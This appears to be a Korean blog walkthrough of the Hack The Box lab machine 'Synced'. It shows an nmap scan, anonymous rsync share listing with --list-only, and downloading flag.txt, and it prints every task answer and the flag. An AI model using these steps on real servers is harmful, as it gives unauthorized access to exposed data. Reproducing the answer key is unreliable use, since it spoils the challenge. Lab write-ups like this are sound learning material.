▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier0 Synced


Synced

alt text

Task 1

  • 정답 및 풀이

    alt text

    구글에 rsync defualt port 라고 검색해보면, tcp 873번 포트가 rsync의 기본 포트임을 알 수 있습니다.

    정답은 873 입니다.

    • Rsync : Remote Sync의 약어로, 서로 다른 디렉터리와 컴퓨터 간에 파일을 효율적으로 전송하고 동기화할 수 있게 해줍니다. 네트워크를 통해 로컬 서버와 원격 서버 간 데이터를 동기화 하는 형태로 동작합니다.

Task 2

  • 정답 및 풀이

    포트 확인을 위해 nmap 스캐닝을 해보았습니다.

    • 모든 포트, 호스트 디스커버리 스킵, 열린 포트만, 버전 정보까지, 초당 2000 패킷
    ┌──(kali㉿kali)-[~/Downloads]
    └─$ sudo nmap 10.129.8.9 -p- -Pn --open -sV --min-rate 2000        
    [sudo] password for kali: 
    Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-19 12:18 +0900
    Nmap scan report for 10.129.8.9
    Host is up (0.25s latency).
    Not shown: 65534 closed tcp ports (reset)
    PORT    STATE SERVICE VERSION
    873/tcp open  rsync   (protocol version 31)
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 47.75 seconds

    스캔 결과 1개의 포트만 열려있으니, 정답은 1 입니다.

Task 3

  • 정답 및 풀이

    정답은 31 입니다. (이전 Task에서 확인 가능)

Task 4

  • 정답 및 풀이

    정답은 rsync 입니다.

    • 리눅스는 기본적으로 rsync 유틸리티를 사용하여 rsync 프로토콜과 상호작용이 가능합니다.

    • 기본적으로 사용되는 명령은 다음과 같습니다. (—-help 도움말 확인)

      rsync rsync://<ip>:<port>

Task 5

  • 정답 및 풀이

    정답은 None 입니다.

    즉, 익명으로 연결할 때 기본은 비밀번호나 사용자명 같은 정보가 필요가 없습니다.

    • 타겟 머신에서 연결할 때도,

      ┌──(kali㉿kali)-[~/Downloads]
      └─$ rsync rsync://10.129.8.9:873
      public          Anonymous Share

      다음과 같이 인증 정보 없이 접근이 가능한 것을 확인할 수 있습니다.

Task 6

  • 정답 및 풀이

    rsync의 도움말을 보면 굉장히 많은 옵션을 확인할 수 있습니다. 그래서 “목록(list)” 이라는 키워드를 가지는 옵션이 있는지 확인해보았습니다.

    • rsync --help | grep list

      ┌──(kali㉿kali)-[~/Downloads]
      └─$ rsync --help | grep list  
      Checksum list:
      Compress list:
      Daemon auth list:
      --prune-empty-dirs, -m   prune empty directory chains from file-list
      --files-from=FILE        read list of source-file names from FILE
      --trust-sender           trust the remote sender's file list
      --list-only              list the files instead of copying them

    이 중에서 문제의 설명과 가장 적절한 동작을 하는 옵션은 --list-only 입니다.

    rsync는 기본적으로 파일 동기화 도구 입니다. 목록만 보여주는 것이 아니라 원본에 있는 파일을 읽어 대상쪽으로 보내고 두 위치의 내용을 같게 맞추는 과정을 하는데, 복사를 통해 이 과정이 이루어집니다.

    --list-only 는 복사하지 않고 목록만 보여주는 옵션으로 다음과 같이 사용할 수 있습니다.

    rsync rsync://<ip>:<port>/<share_name>
    • 머신을 대상으로 해당 옵션을 사용해보면

      ┌──(kali㉿kali)-[~/Downloads]
      └─$ rsync rsync://10.129.8.9:873/public --list-only
      drwxr-xr-x          4,096 2022/10/25 07:02:23 .
      -rw-r--r--             33 2022/10/25 06:32:03 flag.txt

    다음과 같이 출력됩니다.

    문제의 정답은 list-only 입니다. (앞에 -- 는 제외)

Submit Flag

  • 정답 및 풀이

    이전 Task에서 --list-only 옵션을 통해 원격지에 flag.txt가 존재한다는 것을 알았습니다.

    이를 로컬로 가져오기 위해서는 다음과 같이 명령을 사용하면 됩니다.

    rsync rsync://<ip>:<port>/<share_name>/<file_path> <local_path>

    위 명령은 원격지에 있는 파일을 로컬 경로 위치로 복사해오는 동작을 합니다.

    그래서 최종적으로 flag.txt 를 가져오는 명령은 다음과 같습니다.

    • 현재 디렉터리로 복사해오기 (+ 읽기)

      rsync rsync://10.129.8.9/public/flag.txt .
      ┌──(kali㉿kali)-[~/Documents/htb/synced]
      └─$ rsync rsync://10.129.8.9:873/public/flag.txt . 
                                                                                                                                                                                                                        
      ┌──(kali㉿kali)-[~/Documents/htb/synced]
      └─$ ls
      flag.txt
                                                                                                                                                                                                                        
      ┌──(kali㉿kali)-[~/Documents/htb/synced]
      └─$ cat flag.txt 
      72eaf5344ebb84908ae543a719830519

    정답 : 72eaf5344ebb84908ae543a719830519


← ALL POSTS